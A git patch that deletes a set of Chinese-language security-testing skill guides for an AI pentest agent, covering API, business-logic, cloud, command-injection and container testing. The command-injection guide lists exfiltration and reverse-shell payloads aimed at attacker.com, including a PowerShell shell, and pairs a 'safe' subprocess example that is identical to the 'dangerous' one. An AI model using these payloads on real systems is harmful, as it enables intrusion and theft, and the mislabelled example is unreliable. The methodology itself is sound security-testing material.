From 2de6073d344997b65ec1c137c9853e281d263e44 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=85=AC=E6=98=8E?= <83812544+Ed1s0nZ@users.noreply.github.com> Date: Tue, 21 Jul 2026 14:14:48 +0800 Subject: [PATCH] Delete skills directory --- skills/README.md | 7 - skills/api-security-testing/SKILL.md | 287 ------------- skills/business-logic-testing/SKILL.md | 402 ----------------- skills/cloud-security-audit/SKILL.md | 343 --------------- skills/command-injection-testing/SKILL.md | 302 ------------- skills/container-security-testing/SKILL.md | 377 ---------------- skills/csrf-testing/SKILL.md | 199 --------- skills/cyberstrike-eino-demo/FORMS.md | 8 - skills/cyberstrike-eino-demo/REFERENCE.md | 14 - skills/cyberstrike-eino-demo/SKILL.md | 65 --- .../cyberstrike-eino-demo/assets/README.txt | 8 - .../references/citations.md | 13 - .../scripts/check-env.sh | 7 - .../scripts/payloads.txt | 4 - .../scripts/report-snippet.json | 8 - skills/deserialization-testing/SKILL.md | 310 -------------- skills/file-upload-testing/SKILL.md | 328 -------------- skills/idor-testing/SKILL.md | 319 -------------- skills/incident-response/SKILL.md | 272 ------------ skills/ldap-injection-testing/SKILL.md | 300 ------------- skills/mobile-app-security-testing/SKILL.md | 370 ---------------- skills/network-penetration-testing/SKILL.md | 403 ------------------ skills/secure-code-review/SKILL.md | 286 ------------- skills/security-automation/SKILL.md | 383 ----------------- skills/security-awareness-training/SKILL.md | 285 ------------- skills/sql-injection-testing/SKILL.md | 101 ----- skills/ssrf-testing/SKILL.md | 266 ------------ skills/vulnerability-assessment/SKILL.md | 305 ------------- skills/xpath-injection-testing/SKILL.md | 306 ------------- skills/xss-testing/SKILL.md | 135 ------ skills/xxe-testing/SKILL.md | 244 ----------- 31 files changed, 6657 deletions(-) delete mode 100644 skills/README.md delete mode 100644 skills/api-security-testing/SKILL.md delete mode 100644 skills/business-logic-testing/SKILL.md delete mode 100644 skills/cloud-security-audit/SKILL.md delete mode 100644 skills/command-injection-testing/SKILL.md delete mode 100644 skills/container-security-testing/SKILL.md delete mode 100644 skills/csrf-testing/SKILL.md delete mode 100644 skills/cyberstrike-eino-demo/FORMS.md delete mode 100644 skills/cyberstrike-eino-demo/REFERENCE.md delete mode 100644 skills/cyberstrike-eino-demo/SKILL.md delete mode 100644 skills/cyberstrike-eino-demo/assets/README.txt delete mode 100644 skills/cyberstrike-eino-demo/references/citations.md delete mode 100644 skills/cyberstrike-eino-demo/scripts/check-env.sh delete mode 100644 skills/cyberstrike-eino-demo/scripts/payloads.txt delete mode 100644 skills/cyberstrike-eino-demo/scripts/report-snippet.json delete mode 100644 skills/deserialization-testing/SKILL.md delete mode 100644 skills/file-upload-testing/SKILL.md delete mode 100644 skills/idor-testing/SKILL.md delete mode 100644 skills/incident-response/SKILL.md delete mode 100644 skills/ldap-injection-testing/SKILL.md delete mode 100644 skills/mobile-app-security-testing/SKILL.md delete mode 100644 skills/network-penetration-testing/SKILL.md delete mode 100644 skills/secure-code-review/SKILL.md delete mode 100644 skills/security-automation/SKILL.md delete mode 100644 skills/security-awareness-training/SKILL.md delete mode 100644 skills/sql-injection-testing/SKILL.md delete mode 100644 skills/ssrf-testing/SKILL.md delete mode 100644 skills/vulnerability-assessment/SKILL.md delete mode 100644 skills/xpath-injection-testing/SKILL.md delete mode 100644 skills/xss-testing/SKILL.md delete mode 100644 skills/xxe-testing/SKILL.md diff --git a/skills/README.md b/skills/README.md deleted file mode 100644 index 9945329d..00000000 --- a/skills/README.md +++ /dev/null @@ -1,7 +0,0 @@ -# Skills 目录(Agent Skills / Eino) - -- 每个技能为**子目录**,根上必须有 **`SKILL.md`**(YAML front matter:`name`、`description` + Markdown 正文),见 [agentskills.io](https://agentskills.io/specification.md)。 -- **目录名须与 `name` 一致**。 -- **运行时加载**:在 **Eino DeepAgent(多代理)** 会话中由 ADK **`skill` 中间件**渐进披露(系统提示中列出各 skill 的 name/description,模型再调用 **`skill`** 工具拉取 `SKILL.md` 全文)。可选开启 **`multi_agent.eino_skills.filesystem_tools`**,使用与本机相同的 `read_file` / `execute` 等访问包内脚本与资源。 -- **Web 管理**:HTTP `/api/skills/*` 仍用于列表、编辑、上传包内文件(实现为 `internal/skillpackage`,非 MCP)。 -- **运行时**:多代理(DeepAgent)会话内由 ADK **`skill`** 工具渐进加载;单代理 MCP 循环不含 Skills,需开多代理或后续单代理 Eino 路径。 diff --git a/skills/api-security-testing/SKILL.md b/skills/api-security-testing/SKILL.md deleted file mode 100644 index b40f178c..00000000 --- a/skills/api-security-testing/SKILL.md +++ /dev/null @@ -1,287 +0,0 @@ ---- -name: api-security-testing -description: API安全测试的专业技能和方法论 -version: 1.0.0 ---- - -# API安全测试 - -## 概述 - -API安全测试是确保API接口安全性的重要环节。本技能提供API安全测试的方法、工具和最佳实践。 - -## 测试范围 - -### 1. 认证和授权 - -**测试项目:** -- Token有效性验证 -- Token过期处理 -- 权限控制 -- 角色权限验证 - -### 2. 输入验证 - -**测试项目:** -- 参数类型验证 -- 数据长度限制 -- 特殊字符处理 -- SQL注入防护 -- XSS防护 - -### 3. 业务逻辑 - -**测试项目:** -- 工作流验证 -- 状态转换 -- 并发控制 -- 业务规则 - -### 4. 错误处理 - -**测试项目:** -- 错误信息泄露 -- 堆栈跟踪 -- 敏感信息暴露 - -## 测试方法 - -### 1. API发现 - -**识别API端点:** -```bash -# 使用目录扫描 -gobuster dir -u https://target.com -w api-wordlist.txt - -# 使用Burp Suite被动扫描 -# 浏览应用,观察API调用 - -# 分析JavaScript文件 -# 查找API端点定义 -``` - -### 2. 认证测试 - -**Token测试:** -```http -# 测试无效Token -GET /api/user -Authorization: Bearer invalid_token - -# 测试过期Token -GET /api/user -Authorization: Bearer expired_token - -# 测试无Token -GET /api/user -``` - -**JWT测试:** -```bash -# 使用jwt_tool -python jwt_tool.py - -# 测试算法混淆 -python jwt_tool.py -X a - -# 测试密钥暴力破解 -python jwt_tool.py -C -d wordlist.txt -``` - -### 3. 授权测试 - -**水平权限:** -```http -# 用户A访问用户B的资源 -GET /api/user/123 -Authorization: Bearer user_a_token - -# 应该返回403 -``` - -**垂直权限:** -```http -# 普通用户访问管理员接口 -GET /api/admin/users -Authorization: Bearer user_token - -# 应该返回403 -``` - -### 4. 输入验证测试 - -**SQL注入:** -```http -POST /api/search -{ - "query": "test' OR '1'='1" -} -``` - -**命令注入:** -```http -POST /api/execute -{ - "command": "ping; id" -} -``` - -**XXE:** -```http -POST /api/parse -Content-Type: application/xml - - -]> -&xxe; -``` - -### 5. 速率限制测试 - -**测试速率限制:** -```python -import requests - -for i in range(1000): - response = requests.get('https://target.com/api/endpoint') - print(f"Request {i}: {response.status_code}") -``` - -## 工具使用 - -### Postman - -**创建测试集合:** -1. 导入API文档 -2. 设置认证 -3. 创建测试用例 -4. 运行自动化测试 - -### Burp Suite - -**API扫描:** -1. 配置API端点 -2. 设置认证 -3. 运行主动扫描 -4. 分析结果 - -### OWASP ZAP - -```bash -# API扫描 -zap-cli quick-scan --self-contained \ - --start-options '-config api.disablekey=true' \ - http://target.com/api -``` - -### REST-Attacker - -```bash -# 扫描OpenAPI规范 -rest-attacker scan openapi.yaml -``` - -## 常见漏洞 - -### 1. 认证绕过 - -**Token验证缺陷:** -- 弱Token生成 -- Token可预测 -- Token不验证签名 - -### 2. 权限提升 - -**IDOR:** -- 直接对象引用 -- 未验证资源所有权 - -### 3. 信息泄露 - -**错误信息:** -- 详细错误信息 -- 堆栈跟踪 -- 敏感数据 - -### 4. 注入漏洞 - -**常见注入:** -- SQL注入 -- NoSQL注入 -- 命令注入 -- XXE - -### 5. 业务逻辑 - -**逻辑缺陷:** -- 价格操作 -- 数量限制绕过 -- 状态修改 - -## 测试清单 - -### 认证测试 -- [ ] Token有效性验证 -- [ ] Token过期处理 -- [ ] 弱Token检测 -- [ ] Token重放攻击 - -### 授权测试 -- [ ] 水平权限测试 -- [ ] 垂直权限测试 -- [ ] 角色权限验证 -- [ ] 资源访问控制 - -### 输入验证 -- [ ] SQL注入测试 -- [ ] XSS测试 -- [ ] 命令注入测试 -- [ ] XXE测试 -- [ ] 参数污染 - -### 业务逻辑 -- [ ] 工作流验证 -- [ ] 状态转换 -- [ ] 并发控制 -- [ ] 业务规则 - -### 错误处理 -- [ ] 错误信息泄露 -- [ ] 堆栈跟踪 -- [ ] 敏感信息暴露 - -## 防护措施 - -### 推荐方案 - -1. **认证** - - 使用强Token - - 实现Token刷新 - - 验证Token签名 - -2. **授权** - - 基于角色的访问控制 - - 资源所有权验证 - - 最小权限原则 - -3. **输入验证** - - 参数类型验证 - - 数据长度限制 - - 白名单验证 - -4. **错误处理** - - 统一错误响应 - - 不泄露详细信息 - - 记录错误日志 - -5. **速率限制** - - 实现API限流 - - 防止暴力破解 - - 监控异常请求 - -## 注意事项 - -- 仅在授权测试环境中进行 -- 避免对API造成影响 -- 注意不同API版本的差异 -- 测试时注意请求频率 \ No newline at end of file diff --git a/skills/business-logic-testing/SKILL.md b/skills/business-logic-testing/SKILL.md deleted file mode 100644 index 92c069d0..00000000 --- a/skills/business-logic-testing/SKILL.md +++ /dev/null @@ -1,402 +0,0 @@ ---- -name: business-logic-testing -description: 业务逻辑漏洞测试的专业技能和方法论 -version: 1.0.0 ---- - -# 业务逻辑漏洞测试 - -## 概述 - -业务逻辑漏洞是应用程序在业务处理流程中的设计缺陷,可能导致未授权操作、数据篡改、资金损失等。本技能提供业务逻辑漏洞的检测、利用和防护方法。 - -## 漏洞类型 - -### 1. 工作流绕过 - -**跳过验证步骤:** -- 直接访问最终步骤 -- 修改步骤顺序 -- 重复执行步骤 - -### 2. 价格操作 - -**负数价格:** -- 输入负数金额 -- 导致账户余额增加 - -**价格篡改:** -- 修改前端价格 -- 修改API请求中的价格 - -### 3. 数量限制绕过 - -**负数数量:** -- 输入负数 -- 可能导致库存增加 - -**超出限制:** -- 修改数量限制 -- 批量操作绕过 - -### 4. 时间竞争 - -**并发请求:** -- 同时发送多个请求 -- 绕过单次限制 - -### 5. 状态操作 - -**状态回退:** -- 将已完成订单改为待支付 -- 修改订单状态 - -## 测试方法 - -### 1. 工作流分析 - -**识别业务流程:** -- 注册流程 -- 购买流程 -- 提现流程 -- 审核流程 - -**测试步骤跳过:** -``` -正常流程: 步骤1 → 步骤2 → 步骤3 -测试: 直接访问步骤3 -测试: 步骤1 → 步骤3(跳过步骤2) -``` - -### 2. 参数篡改 - -**修改关键参数:** -```http -POST /api/purchase -{ - "product_id": 123, - "quantity": 1, - "price": 100.00 # 修改为 0.01 -} -``` - -**负数测试:** -```json -{ - "quantity": -1, - "price": -100.00 -} -``` - -### 3. 并发测试 - -**同时发送请求:** -```python -import threading -import requests - -def purchase(): - requests.post('https://target.com/api/purchase', - json={'product_id': 123, 'quantity': 1}) - -# 同时发送10个请求 -for i in range(10): - threading.Thread(target=purchase).start() -``` - -### 4. 状态修改 - -**修改订单状态:** -```http -PATCH /api/order/123 -{ - "status": "completed" # 修改为已完成 -} -``` - -**回退状态:** -```http -PATCH /api/order/123 -{ - "status": "pending" # 从已完成回退到待支付 -} -``` - -## 利用技术 - -### 价格操作 - -**负数价格:** -```json -{ - "product_id": 123, - "price": -100.00, - "quantity": 1 -} -``` - -**修改前端价格:** -```javascript -// 前端代码 -const price = 100.00; - -// 修改为 -const price = 0.01; -``` - -**API价格修改:** -```http -POST /api/checkout -{ - "items": [ - { - "product_id": 123, - "price": 0.01, # 原价100.00 - "quantity": 1 - } - ] -} -``` - -### 数量限制绕过 - -**负数数量:** -```json -{ - "product_id": 123, - "quantity": -10 # 可能导致库存增加 -} -``` - -**超出限制:** -```json -{ - "product_id": 123, - "quantity": 999999 # 超出单次购买限制 -} -``` - -### 优惠券滥用 - -**重复使用:** -```http -POST /api/checkout -{ - "coupon": "DISCOUNT50", - "items": [...] -} - -# 重复使用同一优惠券 -``` - -**未激活优惠券:** -```http -POST /api/checkout -{ - "coupon": "EXPIRED_COUPON", # 使用过期优惠券 - "items": [...] -} -``` - -### 提现漏洞 - -**负数提现:** -```json -{ - "amount": -1000.00 # 可能导致账户余额增加 -} -``` - -**超出余额:** -```json -{ - "amount": 999999.00 # 超出账户余额 -} -``` - -### 时间竞争 - -**并发购买:** -```python -import threading -import requests - -def buy(): - requests.post('https://target.com/api/purchase', - json={'product_id': 123, 'quantity': 1}) - -# 限时抢购,并发请求 -for i in range(100): - threading.Thread(target=buy).start() -``` - -## 绕过技术 - -### 前端验证绕过 - -**直接调用API:** -- 绕过前端JavaScript验证 -- 直接发送API请求 - -**修改请求:** -- 使用Burp Suite拦截 -- 修改参数后发送 - -### 状态码分析 - -**观察响应:** -- 200 OK - 可能成功 -- 400 Bad Request - 参数错误 -- 403 Forbidden - 权限不足 -- 500 Internal Server Error - 服务器错误 - -### 错误信息利用 - -**从错误信息获取信息:** -``` -错误: "余额不足,当前余额: 100.00" -→ 可以获取账户余额信息 -``` - -## 工具使用 - -### Burp Suite - -**使用Repeater:** -1. 拦截业务请求 -2. 修改关键参数 -3. 观察响应 - -**使用Intruder:** -1. 标记参数 -2. 使用Payload列表 -3. 批量测试 - -### 自定义脚本 - -```python -import requests -import json - -def test_price_manipulation(): - # 测试价格修改 - for price in [0.01, -100, 0, 999999]: - data = { - "product_id": 123, - "price": price, - "quantity": 1 - } - response = requests.post('https://target.com/api/purchase', - json=data) - print(f"Price {price}: {response.status_code}") - -test_price_manipulation() -``` - -## 验证和报告 - -### 验证步骤 - -1. 确认可以绕过业务逻辑限制 -2. 验证可以执行未授权操作 -3. 评估影响(资金损失、数据篡改等) -4. 记录完整的POC - -### 报告要点 - -- 漏洞位置和业务流程 -- 可执行的未授权操作 -- 完整的利用步骤和PoC -- 修复建议(服务端验证、业务规则检查等) - -## 防护措施 - -### 推荐方案 - -1. **服务端验证** - ```python - def process_purchase(product_id, quantity, price): - # 从数据库获取真实价格 - real_price = db.get_product_price(product_id) - - # 验证价格 - if price != real_price: - raise ValueError("Price mismatch") - - # 验证数量 - if quantity <= 0: - raise ValueError("Invalid quantity") - - # 处理购买 - process_order(product_id, quantity, real_price) - ``` - -2. **状态机验证** - ```python - class OrderState: - PENDING = "pending" - PAID = "paid" - SHIPPED = "shipped" - COMPLETED = "completed" - - TRANSITIONS = { - PENDING: [PAID], - PAID: [SHIPPED], - SHIPPED: [COMPLETED] - } - - def can_transition(self, from_state, to_state): - return to_state in self.TRANSITIONS.get(from_state, []) - ``` - -3. **并发控制** - ```python - import threading - - lock = threading.Lock() - - def process_order(order_id): - with lock: - # 检查订单状态 - order = db.get_order(order_id) - if order.status != 'pending': - raise ValueError("Order already processed") - - # 处理订单 - process(order) - ``` - -4. **业务规则验证** - ```python - def validate_business_rules(order): - # 验证数量限制 - if order.quantity > MAX_QUANTITY: - raise ValueError("Quantity exceeds limit") - - # 验证价格范围 - if order.price <= 0: - raise ValueError("Invalid price") - - # 验证库存 - if order.quantity > get_stock(order.product_id): - raise ValueError("Insufficient stock") - ``` - -5. **审计日志** - ```python - def log_business_action(user_id, action, details): - log_entry = { - "user_id": user_id, - "action": action, - "details": details, - "timestamp": datetime.now() - } - db.log_action(log_entry) - ``` - -## 注意事项 - -- 仅在授权测试环境中进行 -- 避免对业务造成实际影响 -- 注意不同业务流程的差异 -- 测试时注意数据一致性 \ No newline at end of file diff --git a/skills/cloud-security-audit/SKILL.md b/skills/cloud-security-audit/SKILL.md deleted file mode 100644 index 98b45673..00000000 --- a/skills/cloud-security-audit/SKILL.md +++ /dev/null @@ -1,343 +0,0 @@ ---- -name: cloud-security-audit -description: 云安全审计的专业技能和方法论 -version: 1.0.0 ---- - -# 云安全审计 - -## 概述 - -云安全审计是评估云环境安全性的重要环节。本技能提供云安全审计的方法、工具和最佳实践,涵盖AWS、Azure、GCP等主流云平台。 - -## 审计范围 - -### 1. 身份和访问管理 - -**检查项目:** -- IAM策略配置 -- 用户权限 -- 角色权限 -- 访问密钥管理 - -### 2. 网络安全 - -**检查项目:** -- 安全组配置 -- 网络ACL -- VPC配置 -- 流量加密 - -### 3. 数据安全 - -**检查项目:** -- 数据加密 -- 密钥管理 -- 备份策略 -- 数据分类 - -### 4. 合规性 - -**检查项目:** -- 合规框架 -- 审计日志 -- 监控告警 -- 事件响应 - -## AWS安全审计 - -### IAM审计 - -**检查IAM策略:** -```bash -# 列出所有IAM用户 -aws iam list-users - -# 列出所有IAM策略 -aws iam list-policies - -# 检查用户权限 -aws iam list-user-policies --user-name username -aws iam list-attached-user-policies --user-name username - -# 检查角色权限 -aws iam list-role-policies --role-name rolename -``` - -**常见问题:** -- 过度权限 -- 未使用的访问密钥 -- 密码策略弱 -- MFA未启用 - -### S3安全审计 - -**检查S3存储桶:** -```bash -# 列出所有存储桶 -aws s3 ls - -# 检查存储桶策略 -aws s3api get-bucket-policy --bucket bucketname - -# 检查存储桶ACL -aws s3api get-bucket-acl --bucket bucketname - -# 检查存储桶加密 -aws s3api get-bucket-encryption --bucket bucketname -``` - -**常见问题:** -- 公开访问 -- 未加密 -- 版本控制未启用 -- 日志记录未启用 - -### 安全组审计 - -**检查安全组:** -```bash -# 列出所有安全组 -aws ec2 describe-security-groups - -# 检查开放端口 -aws ec2 describe-security-groups --group-ids sg-xxx -``` - -**常见问题:** -- 0.0.0.0/0开放 -- 不必要的端口开放 -- 规则过于宽松 - -### CloudTrail审计 - -**检查审计日志:** -```bash -# 列出所有跟踪 -aws cloudtrail describe-trails - -# 检查日志文件完整性 -aws cloudtrail get-trail-status --name trailname -``` - -## Azure安全审计 - -### 订阅和资源组 - -**检查订阅:** -```bash -# 列出所有订阅 -az account list - -# 检查资源组 -az group list -``` - -### 网络安全组 - -**检查NSG:** -```bash -# 列出所有NSG -az network nsg list - -# 检查NSG规则 -az network nsg rule list --nsg-name nsgname --resource-group rgname -``` - -### 存储账户 - -**检查存储账户:** -```bash -# 列出所有存储账户 -az storage account list - -# 检查访问策略 -az storage account show --name accountname --resource-group rgname -``` - -## GCP安全审计 - -### 项目和组织 - -**检查项目:** -```bash -# 列出所有项目 -gcloud projects list - -# 检查IAM策略 -gcloud projects get-iam-policy project-id -``` - -### 计算引擎 - -**检查实例:** -```bash -# 列出所有实例 -gcloud compute instances list - -# 检查防火墙规则 -gcloud compute firewall-rules list -``` - -### 存储 - -**检查存储桶:** -```bash -# 列出所有存储桶 -gsutil ls - -# 检查存储桶权限 -gsutil iam get gs://bucketname -``` - -## 自动化工具 - -### Scout Suite - -```bash -# AWS审计 -scout aws - -# Azure审计 -scout azure - -# GCP审计 -scout gcp -``` - -### Prowler - -```bash -# AWS安全审计 -prowler -c check11,check12,check13 - -# 完整审计 -prowler -``` - -### CloudSploit - -```bash -# 扫描AWS账户 -cloudsploit scan aws - -# 扫描Azure订阅 -cloudsploit scan azure -``` - -### Pacu - -```bash -# AWS渗透测试框架 -pacu -``` - -## 审计清单 - -### IAM安全 -- [ ] 检查用户权限 -- [ ] 检查角色权限 -- [ ] 检查访问密钥 -- [ ] 检查密码策略 -- [ ] 检查MFA启用情况 - -### 网络安全 -- [ ] 检查安全组/NSG规则 -- [ ] 检查VPC配置 -- [ ] 检查网络ACL -- [ ] 检查流量加密 - -### 数据安全 -- [ ] 检查数据加密 -- [ ] 检查密钥管理 -- [ ] 检查备份策略 -- [ ] 检查数据分类 - -### 合规性 -- [ ] 检查审计日志 -- [ ] 检查监控告警 -- [ ] 检查事件响应 -- [ ] 检查合规框架 - -## 常见安全问题 - -### 1. 过度权限 - -**问题:** -- IAM策略过于宽松 -- 用户拥有管理员权限 -- 角色权限过大 - -**修复:** -- 最小权限原则 -- 定期审查权限 -- 使用IAM策略模拟 - -### 2. 公开资源 - -**问题:** -- S3存储桶公开 -- 安全组开放0.0.0.0/0 -- 数据库公开访问 - -**修复:** -- 限制访问范围 -- 使用私有网络 -- 启用访问控制 - -### 3. 未加密数据 - -**问题:** -- 存储未加密 -- 传输未加密 -- 密钥管理不当 - -**修复:** -- 启用加密 -- 使用TLS/SSL -- 使用密钥管理服务 - -### 4. 日志缺失 - -**问题:** -- 未启用审计日志 -- 日志未保留 -- 日志未监控 - -**修复:** -- 启用CloudTrail/Azure Monitor -- 设置日志保留策略 -- 配置监控告警 - -## 最佳实践 - -### 1. 最小权限 - -- 只授予必要权限 -- 定期审查权限 -- 使用IAM策略模拟 - -### 2. 多层防护 - -- 网络层防护 -- 应用层防护 -- 数据层防护 - -### 3. 监控和告警 - -- 启用审计日志 -- 配置监控告警 -- 建立事件响应流程 - -### 4. 合规性 - -- 遵循合规框架 -- 定期安全审计 -- 文档化安全策略 - -## 注意事项 - -- 仅在授权环境中进行审计 -- 避免对生产环境造成影响 -- 注意不同云平台的差异 -- 定期进行安全审计 \ No newline at end of file diff --git a/skills/command-injection-testing/SKILL.md b/skills/command-injection-testing/SKILL.md deleted file mode 100644 index f660412f..00000000 --- a/skills/command-injection-testing/SKILL.md +++ /dev/null @@ -1,302 +0,0 @@ ---- -name: command-injection-testing -description: 命令注入漏洞测试的专业技能和方法论 -version: 1.0.0 ---- - -# 命令注入漏洞测试 - -## 概述 - -命令注入是一种通过应用程序执行系统命令的漏洞。当应用程序将用户输入直接传递给系统命令时,攻击者可以执行任意命令。本技能提供命令注入的检测、利用和防护方法。 - -## 漏洞原理 - -应用程序调用系统命令时,未对用户输入进行充分验证和过滤,导致攻击者可以注入额外的命令。 - -**危险代码示例:** -```php -// PHP -system("ping " . $_GET['ip']); - -// Python -os.system("ping " + user_input) - -// Node.js -child_process.exec("ping " + user_input) -``` - -## 测试方法 - -### 1. 识别命令执行点 - -**常见功能:** -- Ping功能 -- DNS查询 -- 文件操作 -- 系统信息 -- 日志查看 -- 备份恢复 - -### 2. 基础检测 - -**测试命令分隔符:** -``` -; # 命令分隔符(Linux/Windows) -& # 后台执行(Linux/Windows) -| # 管道符(Linux/Windows) -&& # 逻辑与(Linux/Windows) -|| # 逻辑或(Linux/Windows) -` # 命令替换(Linux) -$() # 命令替换(Linux) -``` - -**测试Payload:** -``` -127.0.0.1; id -127.0.0.1 && whoami -127.0.0.1 | cat /etc/passwd -127.0.0.1 `whoami` -127.0.0.1 $(whoami) -``` - -### 3. 盲命令注入 - -**时间延迟检测:** -``` -127.0.0.1; sleep 5 -127.0.0.1 && sleep 5 -127.0.0.1 | sleep 5 -``` - -**外带数据:** -``` -127.0.0.1; curl http://attacker.com/?$(whoami) -127.0.0.1 && wget http://attacker.com/$(cat /etc/passwd) -``` - -**DNS外带:** -``` -127.0.0.1; nslookup $(whoami).attacker.com -``` - -## 利用技术 - -### 基础命令执行 - -**Linux:** -``` -; id -; whoami -; uname -a -; cat /etc/passwd -; ls -la -``` - -**Windows:** -``` -& whoami -& ipconfig -& type C:\Windows\System32\drivers\etc\hosts -& dir -``` - -### 文件操作 - -**读取文件:** -``` -; cat /etc/passwd -; type C:\Windows\System32\config\sam -; head -n 20 /var/log/apache2/access.log -``` - -**写入文件:** -``` -; echo "" > /tmp/shell.php -; echo "test" > C:\temp\test.txt -``` - -### 反弹Shell - -**Bash:** -``` -; bash -i >& /dev/tcp/attacker.com/4444 0>&1 -``` - -**Netcat:** -``` -; nc -e /bin/bash attacker.com 4444 -; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attacker.com 4444 >/tmp/f -``` - -**PowerShell:** -``` -& powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('attacker.com',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" -``` - -## 绕过技术 - -### 空格绕过 - -``` -${IFS}id -${IFS}whoami -$IFS$9id -<> -%09 (Tab) -%20 (Space) -``` - -### 命令分隔符绕过 - -**编码绕过:** -``` -%3b (;) -%26 (&) -%7c (|) -``` - -**换行绕过:** -``` -%0a (换行) -%0d (回车) -``` - -### 关键字过滤绕过 - -**变量拼接:** -```bash -a=w;b=ho;c=ami;$a$b$c -``` - -**通配符:** -```bash -/bin/c?t /etc/passwd -/usr/bin/ca* /etc/passwd -``` - -**引号绕过:** -```bash -w'h'o'a'm'i -w"h"o"a"m"i -``` - -**反斜杠:** -```bash -w\ho\am\i -``` - -**Base64编码:** -```bash -echo "d2hvYW1p" | base64 -d | bash -``` - -### 长度限制绕过 - -**使用文件:** -```bash -echo "id" > /tmp/c -sh /tmp/c -``` - -**使用环境变量:** -```bash -export x='id';$x -``` - -## 工具使用 - -### Commix - -```bash -# 基础扫描 -python commix.py -u "http://target.com/ping?ip=127.0.0.1" - -# 指定注入点 -python commix.py -u "http://target.com/ping?ip=INJECT_HERE" --data="ip=INJECT_HERE" - -# 获取Shell -python commix.py -u "http://target.com/ping?ip=127.0.0.1" --os-shell -``` - -### Burp Suite - -1. 拦截请求 -2. 发送到Intruder -3. 使用命令注入Payload列表 -4. 观察响应或时间延迟 - -## 验证和报告 - -### 验证步骤 - -1. 确认可以执行系统命令 -2. 验证命令执行结果 -3. 评估影响(系统控制、数据泄露等) -4. 记录完整的POC - -### 报告要点 - -- 漏洞位置和输入参数 -- 可执行的命令类型 -- 完整的利用步骤和POC -- 修复建议(输入验证、参数化、白名单等) - -## 防护措施 - -### 推荐方案 - -1. **避免命令执行** - - 使用API替代系统命令 - - 使用库函数替代命令 - -2. **输入验证** - ```python - import re - - def validate_ip(ip): - pattern = r'^(\d{1,3}\.){3}\d{1,3}$' - if not re.match(pattern, ip): - raise ValueError("Invalid IP") - parts = ip.split('.') - if not all(0 <= int(p) <= 255 for p in parts): - raise ValueError("Invalid IP range") - return ip - ``` - -3. **参数化命令** - ```python - import subprocess - - # 危险 - subprocess.call(['ping', '-c', '1', user_input]) - - # 安全 - 使用参数列表 - subprocess.call(['ping', '-c', '1', validated_ip]) - ``` - -4. **白名单验证** - ```python - ALLOWED_COMMANDS = ['ping', 'nslookup'] - ALLOWED_OPTIONS = {'ping': ['-c', '-n']} - - if command not in ALLOWED_COMMANDS: - raise ValueError("Command not allowed") - ``` - -5. **最小权限** - - 使用低权限用户运行应用 - - 限制文件系统访问 - - 使用chroot或容器隔离 - -6. **输出过滤** - - 限制输出内容 - - 过滤敏感信息 - - 记录命令执行日志 - -## 注意事项 - -- 仅在授权测试环境中进行 -- 避免对系统造成破坏 -- 注意不同操作系统的命令差异 -- 测试时注意命令执行的影响范围 \ No newline at end of file diff --git a/skills/container-security-testing/SKILL.md b/skills/container-security-testing/SKILL.md deleted file mode 100644 index d2ee438b..00000000 --- a/skills/container-security-testing/SKILL.md +++ /dev/null @@ -1,377 +0,0 @@ ---- -name: container-security-testing -description: 容器安全测试的专业技能和方法论 -version: 1.0.0 ---- - -# 容器安全测试 - -## 概述 - -容器安全测试是确保容器化应用安全性的重要环节。本技能提供容器安全测试的方法、工具和最佳实践,涵盖Docker、Kubernetes等容器技术。 - -## 测试范围 - -### 1. 镜像安全 - -**检查项目:** -- 基础镜像漏洞 -- 依赖包漏洞 -- 镜像配置 -- 敏感信息 - -### 2. 运行时安全 - -**检查项目:** -- 容器权限 -- 资源限制 -- 网络隔离 -- 文件系统 - -### 3. 编排安全 - -**检查项目:** -- Kubernetes配置 -- 服务账户 -- RBAC -- 网络策略 - -## Docker安全测试 - -### 镜像扫描 - -**使用Trivy:** -```bash -# 扫描镜像 -trivy image nginx:latest - -# 扫描本地镜像 -trivy image --input nginx.tar - -# 只显示高危漏洞 -trivy image --severity HIGH,CRITICAL nginx:latest -``` - -**使用Clair:** -```bash -# 启动Clair -docker run -d --name clair clair:latest - -# 扫描镜像 -clair-scanner --ip 192.168.1.100 nginx:latest -``` - -**使用Docker Bench:** -```bash -# 运行Docker安全基准测试 -docker run --rm --net host --pid host --userns host --cap-add audit_control \ - -e DOCKER_CONTENT_TRUST=$DOCKER_CONTENT_TRUST \ - -v /etc:/etc:ro \ - -v /usr/bin/containerd:/usr/bin/containerd:ro \ - -v /usr/bin/runc:/usr/bin/runc:ro \ - -v /usr/lib/systemd:/usr/lib/systemd:ro \ - -v /var/lib:/var/lib:ro \ - -v /var/run/docker.sock:/var/run/docker.sock:ro \ - --label docker_bench_security \ - docker/docker-bench-security -``` - -### 容器配置检查 - -**检查Dockerfile:** -```dockerfile -# 安全问题示例 -FROM ubuntu:latest # 使用latest标签 -RUN apt-get update && apt-get install -y curl # 未指定版本 -COPY . /app # 可能包含敏感文件 -ENV PASSWORD=secret # 硬编码密码 -USER root # 使用root用户 -``` - -**安全最佳实践:** -```dockerfile -# 使用特定版本 -FROM ubuntu:20.04 - -# 指定包版本 -RUN apt-get update && apt-get install -y curl=7.68.0-1ubuntu2.7 - -# 使用非root用户 -RUN useradd -m appuser -USER appuser - -# 最小化镜像 -FROM alpine:3.15 - -# 多阶段构建 -FROM golang:1.18 AS builder -WORKDIR /app -COPY . . -RUN go build -o app - -FROM alpine:3.15 -COPY --from=builder /app/app /app -``` - -### 运行时检查 - -**检查容器权限:** -```bash -# 检查特权容器 -docker ps --filter "label=privileged=true" - -# 检查挂载的主机目录 -docker inspect container_name | grep -A 10 Mounts - -# 检查容器网络 -docker network inspect network_name -``` - -**检查资源限制:** -```bash -# 检查内存限制 -docker stats container_name - -# 检查CPU限制 -docker inspect container_name | grep -i cpu -``` - -## Kubernetes安全测试 - -### 配置检查 - -**使用kube-bench:** -```bash -# 运行kube-bench -kube-bench run - -# 检查特定基准 -kube-bench run --targets master,node,etcd -``` - -**使用kube-hunter:** -```bash -# 